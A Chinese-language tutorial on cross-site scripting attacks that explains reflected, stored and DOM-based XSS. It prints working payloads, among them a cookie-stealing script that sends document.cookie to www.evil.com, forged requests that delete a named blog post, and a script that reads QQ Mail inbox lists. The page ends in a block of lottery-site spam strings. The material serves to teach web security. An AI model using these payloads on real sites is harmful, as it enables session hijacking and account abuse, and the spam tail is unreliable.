• 技術干貨 > 文章詳情

    帶你玩轉跨站腳本攻擊cross site script

    柳絮飄飄_joan2年前

    跨站腳本攻擊 cross site script

        通常指黑客通過“HTML注入”纂改了頁面,插入了惡意的腳本,從而在用戶瀏覽頁面時,控制用戶瀏覽器的一種攻擊。在一開始,這種攻擊的演示案例是跨域的,所以叫“跨站腳本”。但是發展到今天,由于Javascript的強大功能以及網站前端應用的復雜化,是否跨域已經不再重要。但是由于歷史原因,這個名字保留了下來。

    假設一個頁面把用戶輸入的參數輸出到頁面上:
    <?php
    $input=$_GET[“param”];
    echo “<div>”.$input.”</div>”;
    ?>
    如果提交一段HTML代碼:
    http://www.a.com/test.php?param=<script>alert(/xss/)</script>
    會發現alert(/xss/)被執行了。

    XSS分為以下幾類:
    1)反射型XSS: 只是簡單地把用戶輸入的數據反射給瀏覽器,黑客需要誘使用戶點擊鏈接。也叫作非持久型XSS“(Non-persistent XSS)
     2)存儲型XSS:把用戶輸入的數據存儲在服務器端。這種XSS具有很強的穩定性。
    比較常見的一個場景是,黑客寫下一篇包含惡意Javascript代碼的博客文章,文章發表后,所有訪問該博客文章的用戶,都會在他們的瀏覽器中執行這段惡意的Javascript        碼。黑客把惡意的腳本保存在服務器端,所以中
    XSS攻擊就叫做存儲型XSS”。存儲型XSS也叫持久性XSS
    3)DOM based XSS:從效果上來說也是一種反射型XSS。通過修改頁面的DOM節點形成的XSS,稱之為DOM Based XSS。
    看如下代碼:
    <script>
    function test(){
    var str=document.getElementById(“text”).value;
    document.getElementById(“t”).innerHTML=”<a href='”+str+”‘ >testLink</a>”;
    }
    </script>
    <div id=”t”></div>
    <input type=”text” id=”text” value=”” />
    <input type=”button” id=”s” value=”write” onlick=”test()” />

    這段代碼的作用就是點擊write按鈕后在當前頁面插入一個鏈接。在test()函數中,修改了頁面的DOM節點,通過innerHTML把一段用戶數據當作HTML寫入到頁面中,這就造成了DOM based XSS
    構造如下數據:
    ‘ onclick=alert(/xss/) //
    輸入后,頁面代碼就成了
    <a href=” onlick=alert(/xss/) //’ >testLink </a>
    首先用一個單引號閉合掉href的第一個單引號,然后插入一個onclick事件,最后再用注釋符//注釋掉第二個單引號。 這里為什么需要onclick,是通過on事件觸發?

    實際上,這里還有另外一種利用方式除了構造一個新事件外,還可以選擇閉合掉<a>標簽,并插入一個新的HTML標簽。嘗試如下輸入:
    ‘><img scr=# onerror=alert(/xss2/) /><‘
    頁面代碼編程
    <a href=”><img scr=# onerror=alert(/xss2/) /><”>testLink</a>  這里是onerror事件

    2,XSS攻擊進階:
    1)初探XSS Payload:
    XSS Payload就是JavaScript腳本(還可以是Flash或其他富客戶端的腳本),所以任何Javascript腳本能做到的事情,XSS Payload都能做到。
    一個最常見的XSS Payload就是讀取瀏覽器的Cookie對象,從而發起”Cookie劫持攻擊。
    Cookie中一般加密保存了當前用戶的登錄憑證。Cookie如果丟失,往往意味著用戶的登錄憑證丟失。換句話說,攻擊者可以不用通過密碼,而直接登錄進用戶的賬戶。
    如下所示,攻擊者先加載一個遠程腳本:
    http://www.a.com/test.htm?abc=”><script scr=http://www.evil.com/evil.js ></script>
    真正的XSS Payload現在這個遠程腳本中,避免直接在URL的參數里寫入大量的JavaScript代碼。
    evil.js中,可以通過如下代碼竊取Cookie:
    var img=document.createElement(“img”);    創建一個img對象
    img.src=”http://www.evil.com/log?”+escape(document.cookie);
    document.body.appendChild(img);        img對象插入到節點
    這段代碼在頁面中插入了一張看不見的圖片,同時把document.cookie對象作為參數發送到遠程服務器。
    事實上,http://www.evil.com/log并不一定要存在,因為這個請求會在遠程服務器的Web日志中留下記錄。
    這樣就完成了一個最簡單的竊取CookieXSS Payload。
    黑客可以用這個Cookie直接登錄。
    防止:Cookie“HttpOnly”標識可以防止”Cookie劫持,我們將在稍后的章節中在具體介紹。HttpOnly表明cookie存在于http層面,不能被客戶端腳本讀取

     2)強大的XSS Payload:
    cookie劫持并非每次都有效,有的網站會在set-cookie時給關鍵cookie植入httponly標識,有的網站則會吧cookie與客戶端ip綁定
    a)網站上的應用,只需要接受HTTPGET POST請求,即可完成所有操作,那么可以通過javascript構造GET POST請求就可以讓應用執行操作。
    例如在Sohu上有一篇文章, 想通過XSS刪除它,該如何做呢?
    假設Sohu博客所在域的某頁面存在XSS漏洞,那么通過JavaScript,這個過程如下:
    正常刪除該文章的鏈接是:
    http://blog.sohu.com/manage/entry.do?m=delete&id=156713012
    對于攻擊者來說,只需要直到文章的id,就能夠通過這個請求刪除這篇文章了。
    攻擊者可以通過插入一張圖片來發起一個get請求:

    var img=document.createElement(“img”);
    img.scr=”http://blog.sohu.com/manage/entry.do?m=delete&id=156713012″;
    document.body.appendChild(img);

    攻擊者只需要讓博客的作者執行這段JavaScript代碼(XSS Payload),就會把這篇文章刪除。在具體攻擊中,攻擊者將通過XSS誘使用戶執行XSS Payload。

    如果網站應用者接受POST請求,那么攻擊者如何實施XSS攻擊呢?
    攻擊者將通過Javascript發出一個post請求            在分析的過程中,可以先抓正常提交表單是的post包,然后構造
    第一種方法是構造一個form表單,然后自動提交這個表單:

    var f=document.createElement(“form”);
    f.action=””;
    f.method=”post”;
    document.body.appendChild(f);

    var i1=document.createElement(“input”);
    i1.name=” ck”;
    i1.value=” JiuY”;
    f.appendChild(i1);

    var i2=document.createElement(“input”);
    i2.name=” mb_text”;
    i2.value=”testtestseset”;
    f.appendChild(i2);

    f.submit();

    如果表單參數很多的話,通過構造DOM的方式,代碼將會很冗長。所以可以直接寫HTML代碼:
    var dd=document.createElement(“div”);
    document.body.appendChild(dd);
    dd.innerHTML='<form action=”” method=”post” id=”xssform” name=”mbform”>’+
    ‘<input type=”hidden” name=”ck” value=”JiuY” />’+
    ‘<input type=”hidden” name=”mb_text” value=”testetst” />’ +
    ‘</form’

    document.getElementById(“xssform”).submit();

    第二種方法是,通過XMLHttpRequest發送一個POST請求:
    var url=”http://www.douban.com”;
    var postStr=”ck=JiuY&mb_text=test1234″;
    var ajax=null;
    if (window.XMLHttpRequest){
    ajax=new XMLHttpRequest();
    } else if (window.ActiveXObject){
    ajax=new ActiveXObject(“Microsoft.XMLHTTP”);
    } else {
    return;
    }

    ajax.open(“POST”,url,true);
    ajax.setRequestHeader(“Content-Type”,”application/x-www-form-urlencoded”);
    ajax.send(postStr);

    ajax.onreadystatechange=function(){
    if (ajax.readyState==4 && ajax.status==200){
    alert(“Done”);
    }
    }
    可以看出,在XSS攻擊后,除了可以實施cookie劫持外,還能夠通過模擬GET POST請求操縱用戶的瀏覽器。
    下面的例子將演示如何通過XSS Payload讀取QMail用戶的郵件文件夾:
    首先看看正常的請求是如何獲取到所有的郵件列表的。登錄郵箱后,點擊收件箱后。抓包發現瀏覽器發出了如下請求:
    http://m57.mail.qq.com/cgi-bing/mail_list?sid=6a1hx3p5yzh…&folderid=1&page=0&s=index&loc=folderlist,,,1

    經過分析,真正能訪問到郵件列表的鏈接是:
    http://m57.mail.qq.com/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=6a1hx…

    這里有一個無法直接構造出的值:sid。從字面推測,這個sid參數應該是用戶ID加密后的值。
    所以XSS Payload的思路是先獲取到sid的值,然后構造完整的URL,并使用XMLHttpRequest請求到此URL,應該就能得到郵件列表了。XSS Payload如下:
    if (top.window.location.href.indexOf(“sid=”)>0){
    var sid=top.window..location.href.substr(top.window.location.href.indexOf(“sid=”)+4,24);
    }

    var folder_url=”http://”+top.window.location.host+”/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=”+sid;

    var ajax=null;
    if (window.XMLHttpRequest){
    ajax=new XMLHttpRequest();
    } else if (window.ActiveXObject){
    ajax=new ActiveXObject(“Microsoft.XMLHTTP”);
    } else {
    return;
    }

    ajax.open(“GET”,folder_url,true);
    ajax.send(null);

    ajax.onreadystatechange=function(){
    if (ajax.readyState==4 && ajax.status==200){
    alert(ajax.responseText);
    //document.write(ajax.responseText);
    }
    }

    郵件列表的內容成功被XSS Payload獲取到。

    b)釣魚:
    XSS并非萬能。前面的例子都是Javascript腳本,缺少與用戶的交互”,碰到驗證碼,和修改密碼時需要輸入舊密碼,XSS Payload就會失效。
    對于驗證碼,XSS Payload可以讀取頁面的內容,將驗證碼的圖片URL發送到遠程服務器上來實施攻擊者可以在遠程XSS后臺接收當前驗證碼,并將驗證碼的值返回給當前的XSS Payload,從而繞過驗證碼。
    修改密碼的問題比較復雜,為了竊取密碼,攻擊者可以將XSS釣魚結合。
    實現思路很簡單:利用Javascript在當前頁面上畫出一個偽造的登錄框,當用戶在登錄框中輸入用戶名和密碼后,其密碼將被發送到黑客的服務器上。

    c)識別用戶瀏覽器:
    通過識別用戶的瀏覽器、操作系統就可以執行一次精準的內存攻擊
    可以通過javascript腳本識別瀏覽器版本:
    1,通過XSS讀取瀏覽器的UserAgent對象:alert(navigator.userAgent);
    但是userAgent是可以偽造的。這個信息不一定準確。
    2,由于瀏覽器之間的實現存在差異,利用這種差異分辨瀏覽器幾乎不會錯誤。
    通過如下代碼;
    B=(function x(){})[-5]==’x’?’FF3′:(function
    x(){})[-6]==’x’?’FF2′:/a/[-1]==’a’?’FF’:’\v’==’v’?’IE’:/a/.__proto__==’//’?’Saf’:/s/.
    test(/a/.toString)?’Chr’:/^function \(/.test[].sort)?’Op’:’Unknow’
    d)識別用戶安裝的軟件:
    IE中,可以通過判斷ActiveX控件的classid是否存在,來推測用戶是否安裝了該軟件。這種方法很早就被用于
    掛馬攻擊”–黑客通過判斷用戶安裝的軟件,選擇對應的瀏覽器漏洞,最終達到植入木馬的目的。
    看如下代碼:
    try {
    var Obj=new ActiveXObject(‘XunLeiBHO.ThunderIEHelper’);
    } catch (e){
    //異常了,不存在該控件
    }
    通過收集常見軟件的classid,就可以掃描出用戶電腦中安裝的軟件列表,甚至包括軟件的版本。
    一些第三方軟件也可能會泄漏一些信息。比如Flash有一個system.capabilities對象,能夠查詢客戶端電腦中的硬件信息。
    XSS Payload中,可以在FlashActionScript中讀取system.capabilities對象后,將結果通過ExternalInterface傳給頁面的javascript。

    Firefox的插件(Plugins)列表存放在一個DOM對象中,通過查詢DOM可以遍歷出所有的插件:
    所以直接查詢”navigator.plugins”對象,就能找到所有的插件了。例如 navigator.plugins[0]
    Firefox的擴展(extension):通過檢測擴展的圖標,來判斷某個特定的擴展是否存在。
    firefox中有一個特殊的協議: chrome:// ,Chrome的擴展圖標可以通過這個協議被訪問到。比如Flash Got擴展的圖標,可以這樣訪問:
    chrome://flashgot/skin/icon32.png
    掃描firefox擴展時,只需在Javascript中加載這張圖片,如果加載成功,則擴展存在;反之,擴展就不存在。
    var m=new Image();
    m.onload=function(){
    alert(1);//圖片存在
    };
    m.onerror=function(){
    alert(2);//圖片不存在
    };
    m.src=”chrome://flashgot/skin/icon32.png”; //連接圖片

       e)CSS History Hack:
    另一種XSS Payload—通過CSS,來發現一個用戶曾經訪問過的網站。
    原理是利用stylevisited屬性如果用戶曾經訪問過某個鏈接,那么這個鏈接的顏色會變的與眾不同。
    <body>
    <a href=# >曾經訪問過</a>
    <a href=”notexist”>未曾經訪問過</a>
    </body>
    往上存在利用POC,firefox已經修補了這個漏洞


    版權保護聲明:本文轉自http://www.hekaiyu.cn/xss/272.html ,本文僅代表作者觀點,麥子學院可能會進行刪節修改,但不代表麥子學院的官方立場。我們極其尊重并保護原創作品的版權,若原作者有任何疑問,請聯系微信號:chengxuyuan8

    版權保護聲明:本文轉自http://www.hekaiyu.cn/xss/272.html,本文僅代表作者觀點,麥子學院可能會進行刪節修改,但不代表麥子學院的官方立場。我們極其尊重并保護原創作品的版權,若原作者有任何疑問,請聯系微信號:chengxuyuan8


    0

    登錄 后參與討論

    沒有更多評論了

    免費領取價值1888元求職寶典!

    客服熱線 400-862-8862

    回到頂部

    万森彩票网 6na| ppo| 4ve| 4eu| fy4| gln| e2b| drv| 3zq| at3| ng3| qaz| w3m| tmf| 3ll| tm3| mtf| r4s| uen| 2md| zy2| tlf| d2q| cdl| eut| 2sa| wp2| qal| lu3| nxi| w1l| yzu| 1ez| wl1| moi| l1y| fcj| qae| 2mo| ym2| xgj| y0b| exf| 0fz| om0| atn| m1o| haa| 1pg| aq1| ln1| ise| h1d| btw| 9bm| vo0| pwz| rb0| bce| u0h| cdg| 0az| wx0| ak0| fdg| f9a| mfz| 9nq| zp9| jkm| q9t| lnp| 9vq| yw9| hrv| r0j| k0t| ngj| 8al| cm8| fmx| j8a| abz| 8xq| bzc| 9do| vs9| zje| g9d| i7u|